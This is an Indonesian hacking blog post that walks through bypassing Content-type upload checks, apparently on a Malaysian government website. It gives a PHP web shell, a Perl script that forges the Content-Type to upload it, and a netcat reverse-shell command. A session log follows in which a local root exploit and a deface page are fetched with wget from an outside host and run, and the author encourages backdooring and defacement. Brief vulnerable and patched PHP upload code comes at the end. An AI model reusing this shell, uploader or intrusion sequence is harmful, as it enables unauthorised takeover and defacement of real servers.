Exploitasi File Upload Content-type verification pada Website


Sudah lama ogut tidak posting di blog ini,, maklum kesibukan gue jadiin kambing hitam disini..:P .Kesempatan kali ini gue cuma mau ngingetin para developer website di dunia yang liar ini so pastinya ente atau anak ABG SMA lagi belajar ***king pernah buat atau ngeliat form di sebuah website yang memfasilitasi penggunanya untuk melakukan upload. Seperti upload file, foto atau avatar. Sekitar 70% sebab terkuasainya sebuah komputer disebabkan oleh “input validation error”. Maaf angka 70% saya karang sendiri😛 .

Kelemahan aplikasi berbasis web yang diakibatkan “input validation error” disebabkan karena tidak ada atau kurang ketatnya batasan file yang boleh di upload ke server. Jika tidak seorang intruder dapat dengan bebas tipe file yang akan di upload untuk kepentingan mengambil alih komputer seperti menjalankan perintah linux di komputer target. Seperti Kronologi di bawah ini :

form mentor

gambar di atas kita mencoba upload file berekstension php yaitu “go.php” dimana file go.php tersebut berfungsi menjalankan perintah unix/linux di browser. Isi file go.php seperti ini:

<?php
system($_GET['command']);
?>

Ternyata file tersebut di terima untuk disimpan ke dalam server.
form mentor sukses
Sekarang kita bisa menjalankan perintah unix/linux di browser, seperti ini menjalankan perintah “id” dimana perintah tersebut untuk memberikan informasi user id:

form mentor url

Lanjut ke TKP berikutnya.

TKP berikutnya adalah di sebuah situs kepemerintahan tetangga seberang satu rumpun, yaitu malon. Pada saat melakukan upload file berekstension php ditolak oleh aplikasi, jika kita lihat http response dengan Live HTTP Header addons firefox tampaknya aplikasi tersebut membatasi file dengan memfilter berdasarkan Content-type header yang dikirim seperti gambar di bawah…
http response

Sampai saat ini web tersebut aman, tapi bagaimana kalau header http – nya kita modifikasi dari Content-type : text/plain atau Content-type : application/octet-stream menjadi Content-type : image/gif. Kenapa? karena file yang diterima adalah tipe file gambar gif. Disini gue buat sebuah exploit yang terbuat dari bahasa perl untuk membypass proteksi type header tertentu. Untuk keperluan tersebut kita butuh modul perl libwww-perl dan HTML-Parser.

Dalam libwww-perl terdapat class LWP::UserAgent. Klas tersebut kita bisa membuat sebuah HTTP Request lalu mengkonfigurasikan isi http header sendiri dan mendukung tipe request sepert get(), head() and post(). Berikut listing kode “hajarupload.pl”.

#!/usr/bin/perl
# hajarupload.pl for bypass Content_Type header
# by unamedplayer - https://logsmylife.wordpress.com
use LWP;
use HTTP::Request::Common;
$agen = $agen = LWP::UserAgent->new;;
$req = $agen->request
	(
		POST 'http://target.gov.my/upload.php',
              	Content_Type => 'form-data',
              	Content => [userfile => ["go.php", "go.php", "Content-Type" => "image/gif"],	],
        );
print $req->as_string();

file is valid

Oops kita berhasil backdoor php kita🙂.. langkah selanjutnya kita melakukan “Remote Connect Backshell” seperti pada artikel ini Remote dan Local File Inclusion Vulnerability

Pada address bar kita lakukan request seperti dibawah ini, dimana ip.intruder adalah komputer penerima koneksi dengan listening state. atau kondisi menerima koneksi dari luar.

http://localhost.gov.my/upload/uploads/go.php?command=nc -e /bin/bash 10.11.46.238 12345

Lalu pada komputer intruder akan mendapatkan shell bash di komputer korban,
console linux remote connect back shell netcat

selanjutnya kita bisa menjalankan perintah unix. Seperti melakukan Privilige Escalation, Backdoor Planting, sampai Deface. Pokoknya bebas terserah anda, resiko ditanggung pemenag.

up@slack:~$ nc -v -l -p 12345
listening on [any] 12345 ...
connect to [10.11.46.238] from xxxxxxxx.gov.my [58.26.6.xx] 54200
id
uid=80(apache) gid=80(apache) groups=80(apache)
owd
bash: line 2: owd: command not found
pwd
/var/www/htdocs/upload/uploads
ls
!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
apachedos.pl
go.php
uname -a
Linux xx 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008
wget http://private-man.co.cc/rooting/localexploit.c
--2010-04-03 12:24:11-- http://private-man.co.cc/rooting/localexploit.c
Resolving localhost... 216.108.239.189
Connecting to private-man.co.cc|216.108.239.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3350 (3.3K) [text/x-c]
Saving to: `localexploit.c'

0K ... 100% 109M=0s

2010-04-03 12:24:11 (109 MB/s) - `localexploit.c' saved [3350/3350]

ls
!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
apachedos.pl
go.php
localexploit.c
gcc localexploit.c
gcc localexploit.c -o localexploit
ls

!.gif
-d13625_.gif
-g00041_.gif
-g00053_.gif
-iii.jpg
-itty02.jpg
000web.gif
01-dragonball.jpg
100552365_m.gif
115846967617749.jpg
1720.jpg
a.out
apachedos.pl
go.php
localexploit
localexploit.c
./localexploit
bash: line 11: 3743 Segmentation fault ./localexploit

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: Oops: 0000 [#1] SMP

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: Process localexploit (pid: 3743, ti=c8d44000 task=c15bcdc0 task.ti=c8d44000)

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: Stack: 00000001 00000000 c8d44000 cdff0000 ced152a0 c8d45df8 c0684cc0 00000002

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: 00000000 c07aaee0 c165a038 c8d45e20 c019e4ee 00000002 c8d45e0c 00000000

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: 00000000 00000000 c165a000 c165a000 c8d45e5c c8d45e54 c019ec10 ccb39200

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: Call Trace:

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? sock_sendpage+0x40/0x50

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x5e/0x80

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? __splice_from_pipe+0xe0/0x230

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x0/0x80

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? splice_from_pipe+0x56/0x80

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? generic_splice_sendpage+0x26/0x30

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? pipe_to_sendpage+0x0/0x80

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_splice_from+0x67/0x90

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? direct_splice_actor+0x2b/0x40

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? splice_direct_to_actor+0xd3/0x1d0

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? direct_splice_actor+0x0/0x40

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_splice_direct+0x40/0x60

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? do_sendfile+0x19f/0x230

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? sys_sendfile+0x8a/0xb0

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: [] ? syscall_call+0x7/0xb

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: =======================

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: Code: Bad EIP value.

Message from syslogd@slack at Sat Apr 3 12:24:52 2010 ...
slack kernel: EIP: [] 0x8048601 SS:ESP 0068:c8d45dcc
id
uid=0(root) gid=0(root) groups=80(apache)
whoami
root
wget private-man.co.cc/rooting/owned.html
--2010-04-03 12:32:09-- private-man.co.cc/rooting/owned.html
Resolving private-man.co.cc... 216.108.239.189
Connecting to private-man.co.cc|216.108.239.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 217 [text/html]
Saving to: `owned.html'

100%[============================================================>] 217 --.-K/s in 0s

2010-04-03 12:32:09 (9.89 MB/s) - `owned.html' saved [217/217]

owned

—————————

contoh vulnerable code :

<?php
if($_FILES['userfile']['type'] != "image/gif") {
    echo "bukan gambar gif";
    exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "gambar bener, upload beres.\n";
} else {
    echo "salah gambar.\n";
}
?>

Image file content verification

Jikalau proteksi dengan Content type header bisa kita loloskan dengan mudah, kode dibawah ini mencoba memfilter file berdasarkan Image File COntent yaitu memvalidasi isi file untuk memastikan bahwa file tersebut benar-benar gambar atau image. Dalam baha pemrograman PHP terdapat function getimagezie(). getimagesize() dapat mengembalikan return value ukuran dan tipe dari image. Dibawah ini contoh code nyang bener :

<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
    echo "bukan gambar gif\n";
    exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "gambar bener, upload beres.\n";
} else {
   echo "salah gambar.\n";
}
?>

Sebenernya koding terakhir di atas belum cukup menambal lubang sekuriti, masih ada nyempil bugs lagi,, coba kita main tebak-tebakan,, hayoo dibagian yang mana ada kutu???

7 thoughts on “Exploitasi File Upload Content-type verification pada Website

  1. bang waktu aq jalanin perl hajarupload.pl koq error :
    use LWP;
    use HTTP::Request::Common;
    #$ua = $ua = LWP::UserAgent->new;;
    $res = $ua->request(POST ‘http://target.com/upload_shell.php’,
    ^Code before strictures are enabled

    kira2 apa artinya yaa?? kurang ngerti perl ;(
    activeperl on windowsXP

    mohon penjelasan ato send email.
    ThankYou

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s